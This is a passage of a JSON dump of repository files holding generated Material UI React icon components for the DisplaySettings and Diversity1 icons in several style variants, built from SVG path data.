    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v12c0 1.1.89 2 2 2h4v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.25h8v1.5H6zm10.5 1.5H18v-1.5h-1.5V7H15v4h1.5zm-6.5 2.5h8v1.5h-8zM7.5 15H9v-4H7.5v1.25H6v1.5h1.5z\"\n}, \"1\")], 'DisplaySettingsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisplaySettingsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H2v16h6v2h8v-2h6zm-2 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.25h8v1.5H6zm10.5 1.5H18v-1.5h-1.5V7H15v4h1.5zm-6.5 2.5h8v1.5h-8zM7.5 15H9v-4H7.5v1.25H6v1.5h1.5z\"\n}, \"1\")], 'DisplaySettingsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisplaySettingsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H2v16h6v2h8v-2h6zm-2 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.25h8v1.5H6zm10.5 1.5H18v-1.5h-1.5V7H15v4h1.5zm-6.5 2.5h8v1.5h-8zM7.5 15H9v-4H7.5v1.25H6v1.5h1.5z\"\n}, \"1\")], 'DisplaySettingsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisplaySettingsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17h16V5H4zm14-3.25h-8v-1.5h8zM15 7h1.5v1.25H18v1.5h-1.5V11H15zM6 8.25h8v1.5H6zm0 4h1.5V11H9v4H7.5v-1.25H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.25h8v1.5H6zm10.5 1.5H18v-1.5h-1.5V7H15v4h1.5zm-6.5 2.5h8v1.5h-8zM7.5 15H9v-4H7.5v1.25H6v1.5h1.5z\"\n}, \"2\")], 'DisplaySettingsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisplaySettingsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17h16V5H4zm14-3.25h-8v-1.5h8zM15 7h1.5v1.25H18v1.5h-1.5V11H15zM6 8.25h8v1.5H6zm0 4h1.5V11H9v4H7.5v-1.25H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.25h8v1.5H6zm10.5 1.5H18v-1.5h-1.5V7H15v4h1.5zm-6.5 2.5h8v1.5h-8zM7.5 15H9v-4H7.5v1.25H6v1.5h1.5z\"\n}, \"2\")], 'DisplaySettingsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity1.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"14\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.22 17.58C.48 17.9 0 18.62 0 19.43V21h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"20\",\n  cy: \"14\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.78 17.58c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V21H24v-1.57c0-.81-.48-1.53-1.22-1.85m-6.54-.93c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 17.13 6 18.21 6 19.39V21h12v-1.61c0-1.18-.68-2.26-1.76-2.74M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.48 10.86C2.17 10.1 2 9.36 2 8.6 2 6.02 4.02 4 6.6 4c2.68 0 3.82 1.74 5.4 3.59C13.57 5.76 14.7 4 17.4 4 19.98 4 22 6.02 22 8.6c0 .76-.17 1.5-.48 2.26.65.31 1.18.82 1.53 1.44.6-1.2.95-2.42.95-3.7C24 4.9 21.1 2 17.4 2c-2.09 0-4.09.97-5.4 2.51C10.69 2.97 8.69 2 6.6 2 2.9 2 0 4.9 0 8.6c0 1.28.35 2.5.96 3.7.35-.62.88-1.13 1.52-1.44\"\n}, \"4\")], 'Diversity1');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity1.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"14\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.22 17.58C.48 17.9 0 18.62 0 19.43V21h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"20\",\n  cy: \"14\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.78 17.58c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V21H24v-1.57c0-.81-.48-1.53-1.22-1.85m-6.54-.93c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 17.13 6 18.21 6 19.39V21h12v-1.61c0-1.18-.68-2.26-1.76-2.74M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.48 10.86C2.17 10.1 2 9.36 2 8.6 2 6.02 4.02 4 6.6 4c2.68 0 3.82 1.74 5.4 3.59C13.57 5.76 14.7 4 17.4 4 19.98 4 22 6.02 22 8.6c0 .76-.17 1.5-.48 2.26.65.31 1.18.82 1.53 1.44.6-1.2.95-2.42.95-3.7C24 4.9 21.1 2 17.4 2c-2.09 0-4.09.97-5.4 2.51C10.69 2.97 8.69 2 6.6 2 2.9 2 0 4.9 0 8.6c0 1.28.35 2.5.96 3.7.35-.62.88-1.13 1.52-1.44\"\n}, \"4\")], 'Diversity1');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity1Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"14\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.22 17.58C.48 17.9 0 18.62 0 19.43V21h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"20\",\n  cy: \"14\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.78 17.58c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V21H24v-1.57c0-.81-.48-1.53-1.22-1.85m-6.54-.93c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 17.13 6 18.21 6 19.39V21h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 19c.09-.23.27-.42.49-.52 1.1-.49 2.26-.73 3.43-.73 1.18 0 2.33.25 3.43.73.23.1.4.29.49.52zM9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.48 10.86C2.17 10.1 2 9.36 2 8.6 2 6.02 4.02 4 6.6 4c2.68 0 3.82 1.74 5.4 3.59C13.57 5.76 14.7 4 17.4 4 19.98 4 22 6.02 22 8.6c0 .76-.17 1.5-.48 2.26.65.31 1.18.82 1.53 1.44.6-1.2.95-2.42.95-3.7C24 4.9 21.1 2 17.4 2c-2.09 0-4.09.97-5.4 2.51C10.69 2.97 8.69 2 6.6 2 2.9 2 0 4.9 0 8.6c0 1.28.35 2.5.96 3.7.35-.62.88-1.13 1.52-1.44\"\n}, \"4\")], 'Diversity1Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity1Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"14\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.22 17.58C.48 17.9 0 18.62 0 19.43V21h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"20\",\n  cy: \"14\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.78 17.58c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V21H24v-1.57c0-.81-.48-1.53-1.22-1.85m-6.54-.93c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 17.13 6 18.21 6 19.39V21h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 19c.09-.23.27-.42.49-.52 1.1-.49 2.26-.73 3.43-.73 1.18 0 2.33.25 3.43.73.23.1.4.29.49.52zM9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.48 10.86C2.17 10.1 2 9.36 2 8.6 2 6.02 4.02 4 6.6 4c2.68 0 3.82 1.74 5.4 3.59C13.57 5.76 14.7 4 17.4 4 19.98 4 22 6.02 22 8.6c0 .76-.17 1.5-.48 2.26.65.31 1.18.82 1.53 1.44.6-1.2.95-2.42.95-3.7C24 4.9 21.1 2 17.4 2c-2.09 0-4.09.97-5.4 2.51C10.69 2.97 8.69 2 6.6 2 2.9 2 0 4.9 0 8.6c0 1.28.35 2.5.96 3.7.35-.62.88-1.13 1.52-1.44\"\n}, \"4\")], 'Diversity1Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity1Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"14\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.22 17.58C.48 17.9 0 18.62 0 19.43V20c0 .55.45 1 1 1h3.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"20\",\n  cy: \"14\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.78 17.58c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V21H23c.55 0 1-.45 1-1v-.57c0-.81-.48-1.53-1.22-1.85m-6.54-.93c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 17.13 6 18.21 6 19.39V20c0 .55.45 1 1 1h10c.55 0 1-.45 1-1v-.61c0-1.18-.68-2.26-1.76-2.74M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.48 10.86C2.17 10.1 2 9.36 2 8.6 2 6.02 4.02 4 6.6 4c2.68 0 3.82 1.74 5.4 3.59C13.57 5.76 14.7 4 17.4 4 19.98 4 22 6.02 22 8.6c0 .76-.17 1.5-.48 2.26.65.31 1.18.82 1.53 1.44.6-1.2.95-2.42.95-3.7C24 4.9 21.1 2 17.4 2c-2.09 0-4.09.97-5.4 2.51C10.69 2.97 8.69 2 6.6 2 2.9 2 0 4.9 0 8.6c0 1.28.35 2.5.96 3.7.35-.62.88-1.13 1.52-1.44\"\n}, \"4\")], 'Diversity1Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity1Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"14\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.22 17.58C.48 17.9 0 18.62 0 19.43V20c0 .55.45 1 1 1h3.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"20\",\n  cy: \"14\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.78 17.58c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V21H23c.55 0 1-.45 1-1v-.57c0-.81-.48-1.53-1.22-1.85m-6.54-.93c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 17.13 6 18.21 6 19.39V20c0 .55.45 1 1 1h10c.55 0 1-.45 1-1v-.61c0-1.18-.68-2.26-1.76-2.74M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.48 10.86C2.17 10.1 2 9.36 2 8.6 2 6.02 4.02 4 6.6 4c2.68 0 3.82 1.74 5.4 3.59C13.57 5.76 14.7 4 17.4 4 19.98 4 22 6.02 22 8.6c0 .76-.17 1.5-.48 2.26.65.31 1.18.82 1.53 1.44.6-1.2.95-2.42.95-3.7C24 4.9 21.1 2 17.4 2c-2.09 0-4.09.97-5.4 2.51C10.69 2.97 8.69 2 6.6 2 2.9 2 0 4.9 0 8.6c0 1.28.35 2.5.96 3.7.35-.62.88-1.13 1.52-1.44\"\n}, \"4\")], 'Diversity1Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity1Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"14\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.22 17.58C.48 17.9 0 18.62 0 19.43V21h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"20\",\n  cy: \"14\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.78 17.58c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V21H24v-1.57c0-.81-.48-1.53-1.22-1.85m-6.54-.93c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 17.13 6 18.21 6 19.39V21h12v-1.61c0-1.18-.68-2.26-1.76-2.74M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.48 10.86C2.17 10.1 2 9.36 2 8.6 2 6.02 4.02 4 6.6 4c2.68 0 3.82 1.74 5.4 3.59C13.57 5.76 14.7 4 17.4 4 19.98 4 22 6.02 22 8.6c0 .76-.17 1.5-.48 2.26.65.31 1.18.82 1.53 1.44.6-1.2.95-2.42.95-3.7C24 4.9 21.1 2 17.4 2c-2.09 0-4.09.97-5.4 2.51C10.69 2.97 8.69 2 6.6 2 2.9 2 0 4.9 0 8.6c0 1.28.35 2.5.96 3.7.35-.62.88-1.13 1.52-1.44\"\n}, \"4\")], 'Diversity1Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity1Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"14\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.22 17.58C.48 17.9 0 18.62 0 19.43V21h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"20\",\n  cy: \"14\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.78 17.58c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V21H24v-1.57c0-.81-.48-1.53-1.22-1.85m-6.54-.93c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 17.13 6 18.21 6 19.39V21h12v-1.61c0-1.18-.68-2.26-1.76-2.74M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.48 10.86C2.17 10.1 2 9.36 2 8.6 2 6.02 4.02 4 6.6 4c2.68 0 3.82 1.74 5.4 3.59C13.57 5.76 14.7 4 17.4 4 19.98 4 22 6.02 22 8.6c0 .76-.17 1.5-.48 2.26.65.31 1.18.82 1.53 1.44.6-1.2.95-2.42.95-3.7C24 4.9 21.1 2 17.4 2c-2.09 0-4.09.97-5.4 2.51C10.69 2.97 8.69 2 6.6 2 2.9 2 0 4.9 0 8.6c0 1.28.35 2.5.96 3.7.35-.62.88-1.13 1.52-1.44\"\n}, \"4\")], 'Diversity1Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity1TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"14\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.22 17.58C.48 17.9 0 18.62 0 19.43V21h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"20\",\n  cy: \"14\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.78 17.58c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V21H24v-1.57c0-.81-.48-1.53-1.22-1.85m-6.54-.93c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 17.13 6 18.21 6 19.39V21h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 19c.09-.23.27-.42.49-.52 1.1-.49 2.26-.73 3.43-.73 1.18 0 2.33.25 3.43.73.23.1.4.29.49.52zM9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.48 10.86C2.17 10.1 2 9.36 2 8.6 2 6.02 4.02 4 6.6 4c2.68 0 3.82 1.74 5.4 3.59C13.57 5.76 14.7 4 17.4 4 19.98 4 22 6.02 22 8.6c0 .76-.17 1.5-.48 2.26.65.31 1.18.82 1.53 1.44.6-1.2.95-2.42.95-3.7C24 4.9 21.1 2 17.4 2c-2.09 0-4.09.97-5.4 2.51C10.69 2.97 8.69 2 6.6 2 2.9 2 0 4.9 0 8.6c0 1.28.35 2.5.96 3.7.35-.62.88-1.13 1.52-1.44\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.4 4c-2.68 0-3.82 1.74-5.4 3.59C10.44 5.75 9.3 4 6.6 4 4.02 4 2 6.02 2 8.6c0 .76.17 1.5.48 2.26.46-.22.97-.36 1.52-.36 1.93 0 3.5 1.57 3.5 3.5 0 .45-.09.87-.24 1.26.97-.42 1.96-.69 2.98-.84C9.49 13.87 9 13 9 12c0-1.66 1.34-3 3-3s3 1.34 3 3c0 1-.49 1.87-1.24 2.42 1.02.15 2.02.43 2.98.85-.15-.39-.24-.82-.24-1.26 0-1.93 1.57-3.5 3.5-3.5.55 0 1.06.14 1.52.36.31-.77.48-1.51.48-2.27C22 6.02 19.98 4 17.4 4M8.07 19.02h7.85c-.09-.23-.27-.42-.49-.52-1.1-.49-2.26-.73-3.43-.73-1.18 0-2.33.25-3.43.73-.23.1-.4.29-.5.52\",\n  opacity: \".3\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"6\")], 'Diversity1TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity1TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"14\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.22 17.58C.48 17.9 0 18.62 0 19.43V21h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"20\",\n  cy: \"14\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.78 17.58c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V21H24v-1.57c0-.81-.48-1.53-1.22-1.85m-6.54-.93c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 17.13 6 18.21 6 19.39V21h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 19c.09-.23.27-.42.49-.52 1.1-.49 2.26-.73 3.43-.73 1.18 0 2.33.25 3.43.73.23.1.4.29.49.52zM9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.48 10.86C2.17 10.1 2 9.36 2 8.6 2 6.02 4.02 4 6.6 4c2.68 0 3.82 1.74 5.4 3.59C13.57 5.76 14.7 4 17.4 4 19.98 4 22 6.02 22 8.6c0 .76-.17 1.5-.48 2.26.65.31 1.18.82 1.53 1.44.6-1.2.95-2.42.95-3.7C24 4.9 21.1 2 17.4 2c-2.09 0-4.09.97-5.4 2.51C10.69 2.97 8.69 2 6.6 2 2.9 2 0 4.9 0 8.6c0 1.28.35 2.5.96 3.7.35-.62.88-1.13 1.52-1.44\"\n}, \"4\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.4 4c-2.68 0-3.82 1.74-5.4 3.59C10.44 5.75 9.3 4 6.6 4 4.02 4 2 6.02 2 8.6c0 .76.17 1.5.48 2.26.46-.22.97-.36 1.52-.36 1.93 0 3.5 1.57 3.5 3.5 0 .45-.09.87-.24 1.26.97-.42 1.96-.69 2.98-.84C9.49 13.87 9 13 9 12c0-1.66 1.34-3 3-3s3 1.34 3 3c0 1-.49 1.87-1.24 2.42 1.02.15 2.02.43 2.98.85-.15-.39-.24-.82-.24-1.26 0-1.93 1.57-3.5 3.5-3.5.55 0 1.06.14 1.52.36.31-.77.48-1.51.48-2.27C22 6.02 19.98 4 17.4 4M8.07 19.02h7.85c-.09-.23-.27-.42-.49-.52-1.1-.49-2.26-.73-3.43-.73-1.18 0-2.33.25-3.43.73-.23.1-.4.29-.5.52\",\n  opacity: \".3\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"6\")], 'Diversity1TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity2.js",
